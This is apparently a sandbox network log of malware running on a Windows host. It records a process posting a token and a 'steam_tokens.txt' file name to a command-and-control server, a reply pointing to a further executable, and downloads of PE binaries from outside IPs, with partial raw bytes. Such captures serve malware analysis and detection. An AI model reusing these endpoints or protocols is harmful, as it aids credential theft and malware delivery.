name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"files------CFHIIEHJKKECGCBFIIJD--
Nov 25, 2024 12:08:57.997828960 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:58.011980057 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="file"------DBGHDGHCGHCAAKFIIECF--
Nov 25, 2024 12:08:58.949089050 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:58.978714943 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="message"ybncbhylepme------KEGCFCAKFHCGCBFHCGHD--
Nov 25, 2024 12:08:59.426868916 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49830	185.215.113.16	80	2700	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:08:59.580892086 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 12:09:00.927062988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:09:00 GMT Content-Type: application/octet-stream Content-Length: 1910272 Last-Modified: Mon, 25 Nov 2024 10:44:21 GMT Connection: keep-alive ETag: "67445505-1d2600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0LHl@WkD4KK @.rsrcD@.idata @ 0+@umzmfkfc1@eqgvdfkxK@.taggant0L"@
Nov 25, 2024 12:09:00.927135944 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:09:00.927485943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:09:00.927566051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:09:00.927580118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:09:00.927591085 CET	1236	IN	Data Raw: 4d ef 81 76 08 fb a5 76 ad 38 b3 60 49 4f 7f 1e 2f 18 e1 17 a4 bf 81 db ab 86 54 9e 29 9b e0 04 00 2b cd 7c bd e4 ce 5b 49 cc e9 24 f2 13 a9 bb bd 23 14 1b be 6f 86 44 64 ef 2d 53 a4 47 34 5b 09 31 90 71 bf 43 b6 63 a6 3e d4 9f a9 37 36 84 6f 4b Data Ascii: Mvv8`IO/T)+\|[I$#oDd-SG4[1qCc>76oK;?3AeA"w{;v6?'J3vDI-W1]XiH=$)%%.?@+q[9^SUA>dOd-w>P_AQZo-u*`JOev(iv%J
Nov 25, 2024 12:09:00.927606106 CET	1236	IN	Data Raw: 41 d9 2f f5 e3 1b 55 d0 b3 93 50 c3 e0 10 60 85 d8 d7 fb 11 8d d7 4c 20 1b 39 cf 33 90 0c d6 3f 07 02 31 96 3b 3e 15 57 8e 98 75 49 63 6a ba 83 fe ed a1 9a a8 df e7 32 38 e1 6e ad 51 76 49 72 8d 9f 6c d6 53 d0 d8 95 af 6d eb 89 31 83 ab 6e 8c 1f Data Ascii: A/UP`L 93?1;>WuIcj28nQvIrlSm1n(AD+R(JMFacE/PQy`jLB_&0QiZ>A5AvF,EO1/RMG4qX zK8T^:BG_\uEIOF"]KEwe TZE
Nov 25, 2024 12:09:00.927659988 CET	1236	IN	Data Raw: 42 7b 2b 0f 80 01 45 9e 5b f7 80 c9 09 dc f0 1f e0 2e 6b 85 4d 04 b2 59 2f dd af bb 55 56 a6 1d f8 5e 2d d7 ee d6 88 4f 04 3e f1 41 61 20 57 48 97 b4 63 d9 64 5f 8e cc a7 eb 08 b1 3d 1b d4 fc 33 ca 6d 3f 5d ee d1 cb 39 80 cf 56 47 77 b2 52 61 f8 Data Ascii: B{+E[.kMY/UV^-O>Aa WHcd_=3m?]9VGwRa{'P;_mQQGj28_\|<}j]Ph$AeF0Z1bD))vz>IwWI-SBnI>IFQJDuC8m_AckaY
Nov 25, 2024 12:09:00.927671909 CET	1236	IN	Data Raw: 85 51 0c 99 57 4b 01 93 ed 23 d7 76 69 0c 50 25 f0 4b ef d0 ed 56 e6 97 8b 03 88 df f8 fe 45 16 9a d6 81 52 4f 98 f1 16 39 11 63 6c 08 98 70 46 48 bf 31 f6 19 a2 ef 0b d1 62 34 bc d5 e0 1c 7f 45 1c 21 e1 61 57 ce 68 1b 72 11 72 81 be 7f 63 8b 3b Data Ascii: QWK#viP%KVERO9clpFH1b4E!aWhrrc;1J(DW[3~1]u##}a/f]dW`#@)lY0nc7nHtW^@LjNoXDv'\|TH!8yoT\|}Z
Nov 25, 2024 12:09:00.927833080 CET	1236	IN	Data Raw: c9 cb d0 f9 0e 73 af 67 11 5f 05 02 8d d5 f3 d9 60 10 cb 4d ed 1e 7a 9a 2a c3 44 c7 e0 11 6b 1f bd e4 d0 29 32 db 97 02 81 b8 55 46 2b b7 65 ab 53 38 68 6e e3 c0 5b 4c 52 d0 b9 28 91 3e 6b 50 61 d9 69 c6 41 66 2b e7 8a f5 d9 bf 22 49 8a 12 04 d7 Data Ascii: sg_`MzDk)2UF+eS8hn[LR(>kPaiAf+"I .n%6H)uE2N:S9"rXp.}>?!SYwQ'4UXkB1PI,x\|$'.kVI}j.--Fg BQH9+RESZ
Nov 25, 2024 12:09:01.046823025 CET	1236	IN	Data Raw: aa 4f 00 8d 31 4b 1d 7f 7e b1 ac 48 5a 17 d6 ad 7f 01 7d 8e a9 11 b2 9b 1d b2 b3 46 a9 1d 49 54 bc 8a 0d 49 3d aa c3 09 86 37 a6 3a 49 61 88 02 80 47 a6 da 84 70 d7 8b 0f 54 be d8 f6 eb 6b 38 ce 91 f6 48 61 24 5d 09 e6 03 b3 b3 97 c0 57 14 47 e6 Data Ascii: O1K~HZ}FITI=7:IaGpTk8Ha$]WGk'G;(FN"4u,\|{f+H-iK/mF>-Y+eC=GO0Q/v]X]Fq'%cB39h%~T()wuuI@-[rkQ&N`ay3Y$xF(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49835	185.215.113.206	80	2700	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:09:04.897680044 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDGIIJJECFIDHJJKKFC--
Nov 25, 2024 12:09:06.773951054 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	61146	185.215.113.43	80	8676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:10:04.476944923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 12:10:05.823914051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	61152	185.215.113.43	80	8676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:10:07.464097977 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 25, 2024 12:10:08.824687958 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 39 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 38 63 30 31 35 31 35 65 38 30 31 62 34 31 62 31 31 30 33 35 30 62 63 65 63 64 35 32 32 62 39 39 39 39 61 35 35 33 36 65 36 23 31 30 30 39 30 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 30 31 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 30 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 233 <c>1009006001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a28c01515e801b41b110350bcecd522b9999a5536e6#1009009001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009014001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009015001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	61157	31.41.244.11	80	8676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:10:08.948496103 CET	66	OUT	GET /files/1724962075/eDPQZkT.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 12:10:10.333405018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:10:10 GMT Content-Type: application/octet-stream Content-Length: 1873408 Last-Modified: Mon, 25 Nov 2024 10:24:30 GMT Connection: keep-alive ETag: "6744505e-1c9600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c0 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c7 42 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g0J@`JB@\pp `b@.rsrcpr@.idata t@ *v@tjxhgeed 0x@ccdijxqb Jn@.taggant00J"t@
Nov 25, 2024 12:10:10.333486080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:10.333523035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:10.333559036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:10.333594084 CET	896	IN	Data Raw: bb 73 75 ac dd 69 7d 2c 12 41 60 05 86 6a 38 95 7d fb 45 83 38 18 af 16 d2 86 2f e8 3d c0 89 16 0d a9 71 95 e5 0b 5e e8 12 83 dd 6a c6 72 ac af b3 e3 7c ad f3 43 80 e2 91 ee 34 2a 24 24 69 12 13 ae fa 8a 3d d3 61 88 44 d6 0b c7 48 04 fb e7 0d 1a Data Ascii: sui},A`j8}E8/=q^jr\|C4$$i=aDH~Enzo0g<EfU;aQ$j=:t>3QO~:Y^o3yu:se=hkya/nFMz f*\|?nS:5ZDQud}g1yPGug_5]
Nov 25, 2024 12:10:10.333745003 CET	1236	IN	Data Raw: fd f4 c6 5e ac 0f e2 97 fe a6 77 a5 5f 04 28 4f 27 fc ad 9f 8c 02 ed 5b 2b 83 ab f1 0f 66 ec f9 45 45 74 9a 78 d3 05 ba 14 9c db 8f cc 51 7d 45 87 3b b5 b1 cf aa 98 e5 28 db e0 ae 1f 3c a0 6e 41 2c e8 9c 75 78 62 88 23 23 58 ba e3 3f a8 32 4f a8 Data Ascii: ^w_(O'[+fEEtxQ}E;(<nA,uxb##X?2O`zC$3mJaUJt7T<.[t{Zz>b\|PTueA3$6T3w($(U:`{qdlV<283u`8Zc?s"
Nov 25, 2024 12:10:10.333796024 CET	1236	IN	Data Raw: 3e 42 01 f2 34 0d 7a 53 3f 0b 1c 1b 07 35 aa 73 ad e7 a8 09 bc d1 0e e8 dd 49 09 f8 85 b3 b0 a6 e1 fe b9 b3 96 62 56 19 0e e4 67 95 ff 77 0e dd 03 85 aa ee e1 63 bd cf 45 b1 7d cd d2 eb 22 34 f7 9b 90 20 6d ed a8 96 75 0f e8 c2 02 87 ef 30 53 12 Data Ascii: >B4zS?5sIbVgwcE}"4 mu0SSg7jP.oNFZT(Zhh':/]inEnImy."qyn\JzU<nD,CQ@gcKeHO=v$+/&E45w+a
Nov 25, 2024 12:10:10.333828926 CET	448	IN	Data Raw: 5b f1 1c 91 3c 17 f8 86 92 b4 ce 7d b7 24 2f a8 ab 2a 30 4c 02 aa 3e ed 58 5c c0 8a dd f2 66 1d 40 26 93 90 8f ba 93 7e 1c ab 46 46 35 f6 68 7a ca 22 e1 6c af d6 5d b6 47 26 df 32 be 32 6e 43 cc c8 57 28 b2 fd 97 11 82 8d 90 54 97 2a c8 b4 6c 95 Data Ascii: [<}$/0L>X\f@&~FF5hz"l]G&22nCW(TlpXVjj0Os85ZzA9fCy"am8Zn(?G?J/}=Z@?{wFGuX`E8D=3o0;`;udT=t=*
Nov 25, 2024 12:10:10.333863974 CET	1236	IN	Data Raw: 3f 66 52 95 14 8b 7c 93 34 ce 7e 17 22 ed 04 a7 9b 6c 6f 5c 13 d9 8c 13 30 33 4e a0 1f 72 25 9e fe ff 7b 8a 50 02 78 38 45 be 6d 91 0a 9d 2a 81 f5 e8 7a 12 29 00 4d 68 7d 9e 12 00 a8 e6 18 ec 32 29 97 54 ce f8 6f 54 3c 83 d2 ca c0 f1 ee 9a 73 09 Data Ascii: ?fR\|4~"lo\03Nr%{Px8Emz)Mh}2)ToT<shwUXy>R#MH]xgp!%B='A#k3i'E?h>X-2Zb#K.GAH2r*}Z]Y"uWq10%U-;3&
Nov 25, 2024 12:10:10.333899021 CET	1236	IN	Data Raw: 51 51 4c 8f f9 c2 12 d1 39 cc 2d 02 f0 58 d8 91 db 00 e1 14 5a 9c e6 f3 25 4d 3f 42 06 b2 91 bb e0 40 18 78 bc 69 34 b7 2b 6e f7 05 e1 d7 c3 26 39 58 14 d8 4a fd 93 85 14 82 10 60 48 02 38 1a 0f 6c 6c 1a 1a 40 04 fc b2 eb c0 ec e4 76 66 89 39 66 Data Ascii: QQL9-XZ%M?B@xi4+n&9XJ`H8ll@vf9fa\|$T(2}kfxo@rRn}inThN`8QGN/\\uGAi5!b<UGxF@b5G'd@x%:}
Nov 25, 2024 12:10:10.453393936 CET	1236	IN	Data Raw: 42 16 2e 69 bd 82 36 11 16 6f 6e 79 25 62 02 e6 75 ec af a8 30 2d 5d 2c 83 d8 4a f6 7e 50 44 b2 10 10 40 1a 93 57 33 1e 02 2e c2 8a 29 0e f7 e6 f0 9f 11 9e 2d f9 db 51 26 8b d5 64 f9 ca da 9a 1e fd 31 b5 e3 05 15 9b f5 ff ee e3 65 a3 79 78 e3 cf Data Ascii: B.i6ony%bu0-],J~PD@W3.)-Q&d1eyx5brZfEs`)88;HE}H&VZB2,j#%^\|/kc)1VVXQ\|55aX6wg!EiZdd\npwi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	61174	185.215.113.43	80	8676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:10:16.162411928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009006001&unit=246122658369
